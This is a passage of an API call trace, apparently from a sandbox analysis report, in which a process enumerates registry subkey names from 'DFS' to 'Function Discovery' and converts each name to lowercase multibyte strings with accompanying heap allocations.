WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.567] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x23fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0247.567] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.567] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.567] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.567] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.567] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x23fb930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0247.567] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.567] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x23fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0247.568] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.568] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.568] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.568] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.568] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x23fb930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0247.568] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.568] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x23fc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0247.568] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.568] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.568] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.568] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.568] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x23fb930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0247.568] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.568] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x23fc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0247.568] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.568] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.568] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.568] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.568] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x23fb930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0247.568] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.568] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x23fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0247.568] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.568] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.568] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.568] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.568] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x23fb930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0247.568] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.569] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x23fc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0247.569] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.569] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.569] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.569] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.569] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x23fb930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0247.569] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.569] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x23fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0247.569] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.569] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.569] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.569] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.569] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x23fb930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0247.569] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.569] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x23fc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0247.569] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.569] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.569] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.569] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.569] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x23fb930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0247.569] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.569] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x23fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0247.570] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.570] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.570] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.570] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.570] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x23fb930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0247.570] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.570] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x23fc0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0247.570] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.570] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.570] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.570] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.570] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x23fb930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0247.570] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.570] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0247.570] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.570] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.570] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.570] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.570] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x23fb930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0247.570] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.570] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x23fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0247.570] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.570] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.570] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.570] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.570] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x23fb930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0247.570] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.571] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0247.571] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.571] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.571] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.571] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.571] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x23fb930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0247.571] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0247.571] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x23fc0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0247.571] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.571] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.571] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.571] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.571] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x23fb930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0247.571] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.571] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x23fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0247.571] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.571] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.571] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.571] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.571] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x23fb930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0247.571] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.571] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x23fc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0247.571] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.571] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.571] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.571] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.571] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x23fb930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0247.571] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.572] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x23fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0247.572] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.572] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.572] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.572] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.572] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x23fb930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0247.572] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.572] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x23fc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0247.572] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.572] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.572] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.572] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.572] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x23fb930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0247.572] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.572] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x23fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0247.572] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.572] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.572] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.572] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.572] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x23fb930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0247.572] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.572] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc0d8 [0247.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x23fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0247.572] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.572] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc0d8) returned 1 [0247.572] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fc120) returned 1 [0247.572] RtlFreeHeap (HeapHandle=0x23f0000, Flags=0x0, BaseAddress=0x23fbbb8) returned 1 [0247.572] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x23fb930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0247.572] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x80) returned 0x23fbbb8 [0247.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0247.573] RtlAllocateHeap (HeapHandle=0x23f0000, Flags=0x8, Size=0x40) returned 0x23fc120 [0247.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x23fc120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0247.573] RtlAllocateHeap 